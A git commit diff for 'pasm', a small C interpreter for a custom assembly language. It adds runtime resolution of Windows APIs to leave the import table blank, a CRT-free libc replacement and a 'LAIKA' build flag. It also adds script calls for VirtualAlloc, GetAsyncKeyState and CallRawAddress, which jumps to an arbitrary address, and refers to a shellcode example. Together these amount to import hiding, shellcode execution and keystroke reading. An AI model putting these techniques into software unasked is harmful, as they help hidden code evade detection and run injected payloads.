add: dynamic Windows APIs, blank IAT fix: misc & linux build

This commit is contained in:
2024-08-22 11:29:59 +02:00
parent 1c451dc828
commit e5603117d4
21 changed files with 908 additions and 265 deletions

2
.gitignore vendored
View File

@@ -4,6 +4,8 @@ x64/
Debug/
Release/
build/
bin
obj
*.obj
*.a
*.o

View File

@@ -1,38 +1,36 @@
SRC = src/pasm.c \
src/file_utils.c \
src/interpreter_states.c \
src/instructions.c \
src/api.c \
src/debug.c
SRC = src/pasm.c \
src/file_utils.c \
src/interpreter_states.c \
src/instructions.c \
src/api.c \
src/debug.c \
src/libc.c
OBJ = $(SRC:.c=.o)
NAME = pasm
CC = gcc
CFLAGS = -Wall -Wextra -Wpedantic -Iinclude -s -Os -fno-ident -fno-asynchronous-unwind-tables
CLIBS = -lm
all: $(NAME)
all: $(NAME)
lib: $(OBJ)
@-mkdir build
@mkdir -p build
ar rc build/lib$(NAME).a $(OBJ)
$(NAME): fclean
$(NAME): lib
$(NAME): CLIBS += build/lib$(NAME).a
$(NAME):
$(CC) tests/interpreter.c $(CFLAGS) $(CLIBS) -o build/$(NAME)
$(CC) $(CFLAGS) -o build/$(NAME) tests/interpreter.c build/lib$(NAME).a $(CLIBS)
interpreter: $(NAME)
clean:
@-rm -f $(OBJ)
@-cd tests && $(MAKE) clean
@rm -f $(OBJ)
@cd tests && $(MAKE) clean
fclean: clean
@-rm -rf build/
@-cd tests && $(MAKE) fclean
@rm -rf build/
@cd tests && $(MAKE) fclean
re: fclean
re: $(NAME)
.PHONY : all $(NAME) clean fclean re interpreter lib
.PHONY: all $(NAME) clean fclean re interpreter lib

View File

@@ -21,7 +21,6 @@ jmp loop2
main:
mov a1, msg ; msg is a char *
loop:
cmp *a1, 0
jne 1

View File

@@ -72,19 +72,19 @@
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
<LibraryPath>$(SolutionDir)$(Configuration);$(LibraryPath)</LibraryPath>
<LibraryPath>..\bin;$(LibraryPath)</LibraryPath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
<LibraryPath>$(SolutionDir)$(Configuration);$(LibraryPath)</LibraryPath>
<LibraryPath>..\bin;$(LibraryPath)</LibraryPath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
<LibraryPath>$(SolutionDir)$(Platform)\$(Configuration);$(LibraryPath)</LibraryPath>
<LibraryPath>..\bin;$(LibraryPath)</LibraryPath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
<LibraryPath>$(SolutionDir)$(Platform)\$(Configuration);$(LibraryPath)</LibraryPath>
<LibraryPath>..\bin;$(LibraryPath)</LibraryPath>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>

View File

@@ -1,7 +1,7 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LocalDebuggerCommandArguments>../examples/shellcode.pasm</LocalDebuggerCommandArguments>
<LocalDebuggerCommandArguments>../examples/array.pasm</LocalDebuggerCommandArguments>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">

View File

@@ -72,15 +72,23 @@
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
<OutDir>..\bin\</OutDir>
<IntDir>..\obj\</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
<OutDir>..\bin\</OutDir>
<IntDir>..\obj\</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
<OutDir>..\bin\</OutDir>
<IntDir>..\obj\</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
<OutDir>..\bin\</OutDir>
<IntDir>..\obj\</IntDir>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
@@ -89,6 +97,9 @@
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard_C>stdc17</LanguageStandard_C>
<BasicRuntimeChecks>Default</BasicRuntimeChecks>
<BufferSecurityCheck>false</BufferSecurityCheck>
<ExceptionHandling>false</ExceptionHandling>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
@@ -98,6 +109,11 @@
<ExportNamedFunctions>pasm_run_script</ExportNamedFunctions>
</Lib>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(LaikaBuild)' != ''">
<ClCompile>
<AdditionalOptions>/DLAIKA %(AdditionalOptions)</AdditionalOptions>
</ClCompile>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
@@ -111,6 +127,8 @@
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<DebugInformationFormat>None</DebugInformationFormat>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<BufferSecurityCheck>false</BufferSecurityCheck>
<ExceptionHandling>false</ExceptionHandling>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
@@ -129,6 +147,9 @@
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard_C>stdc17</LanguageStandard_C>
<BasicRuntimeChecks>Default</BasicRuntimeChecks>
<BufferSecurityCheck>false</BufferSecurityCheck>
<ExceptionHandling>false</ExceptionHandling>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
@@ -151,6 +172,8 @@
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<DebugInformationFormat>None</DebugInformationFormat>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<BufferSecurityCheck>false</BufferSecurityCheck>
<ExceptionHandling>false</ExceptionHandling>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
@@ -168,6 +191,7 @@
<ClCompile Include="..\src\file_utils.c" />
<ClCompile Include="..\src\instructions.c" />
<ClCompile Include="..\src\interpreter_states.c" />
<ClCompile Include="..\src\libc.c" />
<ClCompile Include="..\src\pasm.c" />
</ItemGroup>
<ItemGroup>
@@ -176,6 +200,7 @@
<ClInclude Include="..\src\file_utils.h" />
<ClInclude Include="..\src\instructions.h" />
<ClInclude Include="..\src\interpreter_states.h" />
<ClInclude Include="..\src\libc.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">

View File

@@ -25,6 +25,9 @@
<ClCompile Include="..\src\pasm.c">
<Filter>pasm</Filter>
</ClCompile>
<ClCompile Include="..\src\libc.c">
<Filter>pasm</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\src\api.h">
@@ -42,5 +45,8 @@
<ClInclude Include="..\src\interpreter_states.h">
<Filter>pasm</Filter>
</ClInclude>
<ClInclude Include="..\src\libc.h">
<Filter>pasm</Filter>
</ClInclude>
</ItemGroup>
</Project>

View File

@@ -72,19 +72,19 @@
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
<LibraryPath>$(SolutionDir)$(Configuration);$(LibraryPath)</LibraryPath>
<LibraryPath>..\bin;$(LibraryPath);..\bin</LibraryPath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
<LibraryPath>$(SolutionDir)$(Configuration);$(LibraryPath)</LibraryPath>
<LibraryPath>..\bin;$(LibraryPath);..\bin</LibraryPath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
<LibraryPath>$(SolutionDir)$(Platform)\$(Configuration);$(LibraryPath)</LibraryPath>
<LibraryPath>$(SolutionDir)$(Platform)\$(Configuration);$(LibraryPath);..\bin</LibraryPath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
<LibraryPath>$(SolutionDir)$(Platform)\$(Configuration);$(LibraryPath)</LibraryPath>
<LibraryPath>$(SolutionDir)$(Platform)\$(Configuration);$(LibraryPath);..\bin</LibraryPath>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
@@ -95,7 +95,7 @@
<LanguageStandard_C>stdc17</LanguageStandard_C>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>pasm.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
@@ -111,7 +111,7 @@
<LanguageStandard_C>stdc17</LanguageStandard_C>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
@@ -127,7 +127,7 @@
<LanguageStandard_C>stdc17</LanguageStandard_C>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>pasm.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
@@ -143,7 +143,7 @@
<LanguageStandard_C>stdc17</LanguageStandard_C>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>

View File

@@ -6,6 +6,7 @@
#endif
#include <stdio.h>
#include "libc.h"
#ifdef _WIN32
extern int dprintf(int stream, const char *format, ...);
@@ -17,8 +18,8 @@ void api_put() {
int f = fstream;
#ifdef _WIN32
if (f == _fileno(stderr))
f = _fileno(stdout);
if (f == 2) //stderr (could use _fileno(stderr) but it uses the stdlib)
f = 1; //stdout
#else
if (f == fileno(stderr))
f = fileno(stdout);
@@ -31,46 +32,68 @@ void api_put() {
dprintf(f, "%c", c); //using printf and not write because of the buffer
}
else {
dprintf(f, "%lld", state->STACK[state->STACK_IDX--]);
#ifdef _WIN32
dprintf(f, "%ld", state->STACK[state->STACK_IDX--]);
#else
dprintf(f, "%lld", state->STACK[state->STACK_IDX--]);
#endif
}
}
void api_getasynckeystate() {
#ifdef _WIN32
state->registers->eax = GetAsyncKeyState((int)state->STACK[state->STACK_IDX--]);
#else
state->STACK_IDX--;
state->registers->eax = 1;
#endif
}
void api_virtualalloc() {
#ifdef _WIN32
long long address = state->STACK[state->STACK_IDX--];
long long size = state->STACK[state->STACK_IDX--];
long long alloctype = state->STACK[state->STACK_IDX--];
long long flprotect = state->STACK[state->STACK_IDX--];
state->registers->eax = (long long)VirtualAlloc((LPVOID)address, (SIZE_T)size, (DWORD)alloctype, (DWORD)flprotect);
#else
state->STACK_IDX -= 4;
state->registers->eax = 1;
#endif
}
void api_virtualfree() {
#ifdef _WIN32
long long address = state->STACK[state->STACK_IDX--];
long long size = state->STACK[state->STACK_IDX--];
long long freetype = state->STACK[state->STACK_IDX--];
state->registers->eax = VirtualFree((LPVOID)address, (SIZE_T)size, (DWORD)freetype);
#else
state->STACK_IDX -= 3;
state->registers->eax = 1;
#endif
}
void api_callrawaddr() {
long long address = state->STACK[state->STACK_IDX--];
((void (*)())address)();
}
// generated APIs here
#ifdef _WIN32
typedef LPVOID(WINAPI *fVirtualAlloc)(LPVOID, DWORD, DWORD, DWORD);
#endif
void api_VirtualAlloc(void) {
#ifdef _WIN32
fVirtualAlloc pVirtualAlloc = GetApi(L"kernel32.dll", "VirtualAlloc");
long long arg0 = state->STACK[state->STACK_IDX--];
long long arg1 = state->STACK[state->STACK_IDX--];
long long arg2 = state->STACK[state->STACK_IDX--];
long long arg3 = state->STACK[state->STACK_IDX--];
state->registers->eax = (long long)pVirtualAlloc((LPVOID)arg0, (DWORD)arg1, (DWORD)arg2, (DWORD)arg3);
#else
state->STACK_IDX -= 4;
state->registers->eax = 1;
#endif
}
#ifdef _WIN32
typedef BOOL(WINAPI *fVirtualFree)(LPVOID, DWORD, DWORD);
#endif
void api_VirtualFree(void) {
#ifdef _WIN32
fVirtualFree pVirtualFree = GetApi(L"kernel32.dll", "VirtualFree");
long long arg0 = state->STACK[state->STACK_IDX--];
long long arg1 = state->STACK[state->STACK_IDX--];
long long arg2 = state->STACK[state->STACK_IDX--];
state->registers->eax = (long long)pVirtualFree((LPVOID)arg0, (DWORD)arg1, (DWORD)arg2);
#else
state->STACK_IDX -= 3;
state->registers->eax = 1;
#endif
}
#ifdef _WIN32
typedef SHORT(WINAPI *fGetAsyncKeyState)(int);
#endif
void api_GetAsyncKeyState(void) {
#ifdef _WIN32
fGetAsyncKeyState pGetAsyncKeyState = GetApi(L"user32.dll", "GetAsyncKeyState");
long long arg0 = state->STACK[state->STACK_IDX--];
state->registers->eax = (long long)pGetAsyncKeyState((int)arg0);
#else
state->STACK_IDX -= 1;
state->registers->eax = 1;
#endif
}

View File

@@ -2,17 +2,25 @@
#include "instructions.h"
void api_put();
void api_getasynckeystate();
void api_virtualalloc();
void api_virtualfree();
void api_callrawaddr();
// generated APIs here
void api_VirtualAlloc();
void api_VirtualFree();
void api_GetAsyncKeyState();
//end
static const command_t api_map[] = {
{.command = "put", .fptr = api_put},
{.command = "GetAsyncKeyState", .fptr = api_getasynckeystate},
{.command = "VirtualAlloc", .fptr = api_virtualalloc},
{.command = "VirtualFree", .fptr = api_virtualfree},
{.command = "CallRawAddress", .fptr = api_callrawaddr},
// generated APIs here
{.command = "VirtualAlloc", .fptr = api_VirtualAlloc},
{.command = "VirtualFree", .fptr = api_VirtualFree},
{.command = "GetAsyncKeyState", .fptr = api_GetAsyncKeyState},
//end
{.command = NULL, .fptr = NULL}
};

View File

@@ -2,9 +2,11 @@
#include "interpreter_states.h"
#include <stdio.h>
#include <string.h>
#include "libc.h"
#include "debug.h"
void show_registers() {
#ifndef LAIKA
printf("--Registers--\n");
printf("a1: %-3lld | ", state->registers->a1);
printf("a2: %-3lld | ", state->registers->a2);
@@ -16,25 +18,31 @@ void show_registers() {
printf("a8: %-3lld | ", state->registers->a8);
printf("a9: %-3lld\n", state->registers->a9);
printf("eax: %-3lld\n\n", state->registers->eax);
#endif
}
void show_stack() {
#ifndef LAIKA
printf("--STACK--\n");
printf("Elements: %d\n\n", state->STACK_IDX);
for (int i = 0; i < state->STACK_IDX; i++)
printf("[%d]: %lld\n", i, state->STACK[state->STACK_IDX]);
printf("\n");
#endif
}
void show_labels() {
#ifndef LAIKA
printf("\n\n-----LABELS-----\n");
printf("format:\tlabel|line\n");
for (int i = 0; i < state->num_labels; i++)
printf("%s|%d\n", state->labels[i], state->labels_values[i]);
printf("\n\n-----LABELS-----\n");
#endif
}
void show_arrays() {
#ifndef LAIKA
printf("\n\n-----ARRAYS-----\n");
for (int i = 0; i < state->num_arrays; i++) {
printf("%s: ", state->ARRAYS_NAME[i]);
@@ -43,42 +51,52 @@ void show_arrays() {
printf("...\n");
}
printf("\n\n-----ARRAYS-----\n");
#endif
}
void show_breakpoints(int *bp) {
#ifndef LAIKA
printf("---Breakpoints---\n");
for (int i = 0; bp[i] != 0 && i < 255; i++) {
if (bp[i] + 1 == -1) continue; //deleted bp
printf("bp line %d\n", bp[i] + 1);
}
printf("---Breakpoints---\n");
#endif
}
void show_states() {
#ifndef LAIKA
printf("\n\n--------PASM STATE--------\n");
show_registers();
show_labels();
show_stack();
show_arrays();
printf("\n\n--------PASM STATE--------\n");
#endif
}
void bp_add(int *bp, int line) {
#ifndef LAIKA
int i = 0;
for (i = 0; bp[i] != 0 && bp[i] != -1 && i < 255; i++);
bp[i] = line;
#endif
}
void bp_rem(int *bp, int line) {
#ifndef LAIKA
int i = 0;
for (i = 0; bp[i] != 0 && i < 255; i++) {
if (bp[i] == line)
bp[i] = -2;
}
return;
#endif
}
int add_breakpoint(char *in, int *bp) {
#ifndef LAIKA
for (int i = 0; i < state->num_labels; i++) {
if (strncmp(state->labels[i], in, strlen(in) - 1) == 0) {
bp_add(bp, state->labels_values[i] + 1);
@@ -92,9 +110,11 @@ int add_breakpoint(char *in, int *bp) {
bp_add(bp, line - 1);
printf("breakpoint added at line %d.\n", line);
return 0;
#endif
}
int rem_breakpoint(char *in, int *bp) {
#ifndef LAIKA
for (int i = 0; i < state->num_labels; i++) {
if (strncmp(state->labels[i], in, strlen(in) - 1) == 0) {
bp_rem(bp, state->labels_values[i] + 1);
@@ -108,9 +128,11 @@ int rem_breakpoint(char *in, int *bp) {
bp_rem(bp, line - 1);
printf("breakpoint at line %d deleted.\n", line);
return 0;
#endif
}
void debug_input(char *line) {
#ifndef LAIKA
static int should_continue = 0;
static int breakpoints[256] = {0};
@@ -179,4 +201,5 @@ void debug_input(char *line) {
printf("d [line/label]: deletes a breakpoint on line line/label]\n");
}
}
#endif
}

View File

@@ -1,3 +1,5 @@
#pragma once
#include "libc.h"
void debug_input(char *line);

View File

@@ -3,6 +3,7 @@
#include <stdio.h>
#include "interpreter_states.h"
#include "libc.h"
#define MAX_LINE 2048
@@ -12,6 +13,7 @@ extern int dprintf(int stream, const char *format, ...);
size_t line_count = 0;
int read_script(const char *filename, char ***buf, size_t *lines) {
#ifndef LAIKA
FILE *script = fopen(filename, "r");
if (script == NULL) {
dprintf(fstream, "Could not open %s.\n", filename);
@@ -25,11 +27,11 @@ int read_script(const char *filename, char ***buf, size_t *lines) {
line[length - 1] = '\0';
}
#ifdef _WIN32
char *line_copy = _strdup(line);
char *line_copy = strdup_(line);
#else
char *line_copy = strdup(line);
#endif
char **temp = realloc(*buf, (line_count + 1) * sizeof(char*));
char **temp = realloc_(*buf, (line_count + 1) * sizeof(char*));
if (temp == NULL) {
dprintf(fstream, "Error allocating memory.\n");
return 1;
@@ -44,15 +46,16 @@ int read_script(const char *filename, char ***buf, size_t *lines) {
*lines = line_count;
fclose(script);
#endif
return 0;
}
void free_script(char **buf) {
void free__script(char **buf) {
if (!buf)
return;
for (size_t i = 0; i < line_count; ++i)
if (buf[i])
free(buf[i]);
free(buf);
free_state();
free_(buf[i]);
free_(buf);
free__state();
}

View File

@@ -2,4 +2,4 @@
#include <stdlib.h>
int read_script(const char *filename, char ***buf, size_t *lines);
void free_script(char **buf);
void free__script(char **buf);

View File

@@ -1,13 +1,14 @@
#include "instructions.h"
#include "interpreter_states.h"
#include "api.h"
#include "libc.h"
#include <math.h>
#include <string.h>
#include <stdlib.h>
bool is_array(char* arg) {
for (int i = 0; i < state->num_arrays; i++)
if (strcmp(state->ARRAYS_NAME[i], arg) == 0)
if (strcmp__(state->ARRAYS_NAME[i], arg) == 0)
return true;
return false;
}
@@ -17,17 +18,17 @@ bool is_reg(char* arg) {
++arg;
if (is_array(arg))
return true;
return (strcmp(arg, "eax") == 0) || (((arg[0] == 'a' &&
return (strcmp__(arg, "eax") == 0) || (((arg[0] == 'a' &&
('1' <= arg[1] && arg[1] <= '9'))) && strlen(arg) == 2);
}
bool is_num(char* arg) {
return (atoi(arg) != 0 || (arg[0] == '0' && strlen(arg) == 1));
return (strtol_(arg, NULL, 10) != 0 || (arg[0] == '0' && strlen(arg) == 1));
}
bool check_args(s_arguments *args, int num_in_first, int num_args) {
int arg_num = strcmp(args->arg2, "") != 0;
arg_num += strcmp(args->arg1, "") != 0;
int arg_num = strcmp__(args->arg2, "") != 0;
arg_num += strcmp__(args->arg1, "") != 0;
if (arg_num != num_args) {
state->last_check_args_code = WRONG_NUMBER;
return false;
@@ -50,7 +51,7 @@ long long* get_reg(char* reg_char) {
if (reg_char[0] == '&' || reg_char[0] == '*')
++reg_char;
for (int i = 0; i < state->num_arrays; i++)
if (strcmp(state->ARRAYS_NAME[i], reg_char) == 0)
if (strcmp__(state->ARRAYS_NAME[i], reg_char) == 0)
return (long long *)&state->ARRAYS_VALUES[i];
switch (reg_char[1]) {
case '1' :
@@ -91,9 +92,9 @@ long long get_value(char* arg) {
}
else {
if (strlen(arg) > 2 && arg[0] == '0' && arg[1] == 'x') {
ret = strtol(arg, NULL, 16);
ret = strtol_(arg, NULL, 16);
}
ret = atoi(arg);
ret = strtol_(arg, NULL, 10);
}
return ret;
}
@@ -103,7 +104,7 @@ const command_t *find_command(const command_t *commands, char *func)
if (func == NULL)
return NULL;
for (int index = 0; commands[index].fptr != NULL; index += 1) {
if (strcmp(func, commands[index].command) == 0) {
if (strcmp__(func, commands[index].command) == 0) {
return &commands[index];
}
}
@@ -151,7 +152,7 @@ void ret() {
void jmp() {
if (state->RET_STACK_IDX != -1 && !check_ret_stack()) return;
if (strcmp(state->args->arg1, "return") == 0) {
if (strcmp__(state->args->arg1, "return") == 0) {
ret();
return;
}
@@ -161,13 +162,13 @@ void jmp() {
if (state->labels[i] == NULL) break;
if (strlen(state->labels[i]) - 1 != strlen(state->args->arg1))
continue;
if (strncmp(state->args->arg1, state->labels[i], strlen(state->labels[i]) - 1) == 0) {
if (strncmp__(state->args->arg1, state->labels[i], strlen(state->labels[i]) - 1) == 0) {
state->RET_STACK[++state->RET_STACK_IDX] = state->curr_line;
state->curr_line = state->labels_values[i];
return;
}
}
int line_off = atoi(state->args->arg1);
int line_off = strtol_(state->args->arg1, NULL, 10);
if (line_off) {
state->curr_line += line_off;
return;
@@ -222,7 +223,9 @@ void _sqrt() {
return;
}
#ifndef LAIKA //Realistically Laika won't ever need sqrt, + that creates linker errors with the CRT
*get_reg(state->args->arg1) = (long long)sqrt(get_value(state->args->arg1));
#endif
}
void neg() {
@@ -238,7 +241,30 @@ void mul() {
return;
}
#ifdef LAIKA
//MSVC wants to link __allmul, but a mul is just a lot of add, isn't it ?
long long v1 = *get_reg(state->args->arg1);
long long v2 = get_value(state->args->arg2);
long long result = 0;
int isNegative = 0;
if (v1 < 0) {
v1 = -v1;
isNegative = !isNegative;
}
if (v2 < 0) {
v2 = -v2;
isNegative = !isNegative;
}
while (v2 > 0) {
result += v1;
v2--;
}
v1 = isNegative ? -result : result;
#else
*get_reg(state->args->arg1) *= get_value(state->args->arg2);
#endif
}
void _div() {
@@ -246,7 +272,32 @@ void _div() {
return;
}
#ifdef LAIKA
//MSVC wants to link __alldiv, but a div is just a lot of sub, isn't it ?
long long dividend = *get_reg(state->args->arg1);
long long divisor = get_value(state->args->arg2);
long long quotient = 0;
long long sign = 1;
if (dividend < 0) {
dividend = -dividend;
sign = -sign;
}
if (divisor < 0) {
divisor = -divisor;
sign = -sign;
}
while (dividend >= divisor) {
dividend -= divisor;
quotient++;
}
dividend = sign * quotient;
#else
*get_reg(state->args->arg1) /= get_value(state->args->arg2);
#endif
}
void mov() {

View File

@@ -1,4 +1,5 @@
#include "interpreter_states.h"
#include "libc.h"
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
@@ -9,42 +10,42 @@ extern int dprintf(int stream, const char *format, ...);
s_state *state = NULL;
int init_state() {
state = malloc(sizeof(s_state));
state = malloc_(sizeof(s_state));
if (state == NULL)
return 1;
memset(state, 0, sizeof(s_state));
state->registers = malloc(sizeof(s_registers));
memset__(state, 0, sizeof(s_state));
state->registers = malloc_(sizeof(s_registers));
if (state->registers == NULL) {
free(state);
free_(state);
return 1;
}
memset(state->registers, 0, sizeof(s_registers));
state->args = malloc(sizeof(s_arguments));
memset__(state->registers, 0, sizeof(s_registers));
state->args = malloc_(sizeof(s_arguments));
if (state->args == NULL) {
free(state->registers);
free(state);
free_(state->registers);
free_(state);
return 1;
}
state->args->arg1 = malloc(sizeof(char) * MAX_ARG_SIZE);
state->args->arg2 = malloc(sizeof(char) * MAX_ARG_SIZE);
state->args->arg1 = malloc_(sizeof(char) * MAX_ARG_SIZE);
state->args->arg2 = malloc_(sizeof(char) * MAX_ARG_SIZE);
if (state->args->arg1 == NULL || state->args->arg2 == NULL) {
free(state->registers);
free(state);
free_(state->registers);
free_(state);
return 1;
}
memset(state->args->arg1, 0, sizeof(char) * MAX_ARG_SIZE);
memset(state->args->arg2, 0, sizeof(char) * MAX_ARG_SIZE);
state->labels_values = malloc(sizeof(int) * MAX_LABELS);
memset__(state->args->arg1, 0, sizeof(char) * MAX_ARG_SIZE);
memset__(state->args->arg2, 0, sizeof(char) * MAX_ARG_SIZE);
state->labels_values = malloc_(sizeof(int) * MAX_LABELS);
if (state->labels_values == NULL) {
free(state->registers);
free(state->args->arg1);
free(state->args->arg2);
free(state);
free_(state->registers);
free_(state->args->arg1);
free_(state->args->arg2);
free_(state);
return 1;
}
memset(state->labels_values, 0, sizeof(int) * MAX_LABELS);
memset(state->RET_STACK, -1, sizeof(int) * STACK_SIZE);
memset(state->STACK, 0, sizeof(long long) * STACK_SIZE);
memset__(state->labels_values, 0, sizeof(int) * MAX_LABELS);
memset__(state->RET_STACK, -1, sizeof(int) * STACK_SIZE);
memset__(state->STACK, 0, sizeof(long long) * STACK_SIZE);
state->num_arrays = 0;
state->RET_STACK_IDX = -1;
state->STACK_IDX = -1;
@@ -54,28 +55,28 @@ int init_state() {
return 0;
}
void free_state() {
void free__state() {
for (int i = 0; i < state->num_labels; i++) {
if (state->labels[i])
free(state->labels[i]);
free_(state->labels[i]);
}
free(state->labels);
free(state->labels_values);
free_(state->labels);
free_(state->labels_values);
for (int j = 0; j < state->num_arrays; j++) {
if (state->ARRAYS_NAME[j])
free(state->ARRAYS_NAME[j]);
free_(state->ARRAYS_NAME[j]);
if (state->ARRAYS_VALUES[j])
free(state->ARRAYS_VALUES[j]);
free_(state->ARRAYS_VALUES[j]);
}
free(state->ARRAYS_NAME);
free(state->ARRAYS_VALUES);
free(state->registers);
free(state->args->arg1);
free(state->args->arg2);
free(state->args);
free_(state->ARRAYS_NAME);
free_(state->ARRAYS_VALUES);
free_(state->registers);
free_(state->args->arg1);
free_(state->args->arg2);
free_(state->args);
free(state);
free_(state);
}
void set_exit_state(int exit_state) {
@@ -93,11 +94,11 @@ LABEL_ERR add_label(char *label, int line) {
return LABEL_MAX;
for (int i = 0; i < state->num_labels; i++)
if (strcmp(label, state->labels[i]) == 0)
if (strcmp__(label, state->labels[i]) == 0)
return LABEL_ALREADY_EXISTS;
#ifdef _WIN32
char *line_copy = _strdup(label);
char *line_copy = strdup_(label);
#else
char *line_copy = strdup(label);
#endif
@@ -105,7 +106,7 @@ LABEL_ERR add_label(char *label, int line) {
dprintf(fstream, "Error allocating memory.\n");
return LABEL_ERROR;
}
char **temp = realloc(state->labels, (state->num_labels + 1) * sizeof(char*));
char **temp = realloc_(state->labels, (state->num_labels + 1) * sizeof(char*));
if (temp == NULL) {
dprintf(fstream, "Error allocating memory.\n");
return LABEL_ERROR;
@@ -118,35 +119,35 @@ LABEL_ERR add_label(char *label, int line) {
ARRAY_ERR add_array(char* line) {
#ifdef _WIN32
char *line_copy = _strdup(line);
char *line_copy = strdup_(line);
#else
char *line_copy = strdup(line);
#endif
if (strncmp(line, "set", 3) != 0) {
free(line_copy);
if (strncmp__(line, "set", 3) != 0) {
free_(line_copy);
return ARRAY_NOT_AN_ARRAY;
}
char *ptr = strtok(line_copy, " "); //set
ptr = strtok(NULL, " "); //array name
char *ptr = strtok_(line_copy, " "); //set
ptr = strtok_(NULL, " "); //array name
if (ptr == NULL || strlen(line) <= (4 + strlen(ptr))) {
free(line_copy);
free_(line_copy);
return ARRAY_ERROR;
}
char **temp = realloc(state->ARRAYS_NAME, (state->num_arrays + 1) * sizeof(char*));
char **temp = realloc_(state->ARRAYS_NAME, (state->num_arrays + 1) * sizeof(char*));
if (temp == NULL) {
dprintf(fstream, "Error allocating memory.\n");
return ARRAY_ERROR;
}
state->ARRAYS_NAME = temp;
#ifdef _WIN32
state->ARRAYS_NAME[state->num_arrays] = _strdup(ptr);
state->ARRAYS_NAME[state->num_arrays] = strdup_(ptr);
#else
state->ARRAYS_NAME[state->num_arrays] = strdup(ptr);
#endif
ptr += strlen(ptr) + 1; //getting the data in the array, data is data after all
if (ptr == NULL || ptr[0] == ' ' || ptr[0] == '\0') {
free(line_copy);
free_(line_copy);
return ARRAY_ERROR;
}
@@ -157,19 +158,19 @@ ARRAY_ERR add_array(char* line) {
++ptr;
while (*ptr++ != '"') {
if (*ptr == '\0') {
free(line_copy);
free_(line_copy);
return ARRAY_ERROR; //" is never closed
}
++array_size;
}
long long *tmp = realloc(arr, array_size * sizeof(long long));
long long *tmp = realloc_(arr, array_size * sizeof(long long));
if (tmp == NULL || array_size == 0) {
dprintf(fstream, "Error allocating memory.\n");
return ARRAY_ERROR;
}
arr = tmp;
memset(arr, 0, array_size);
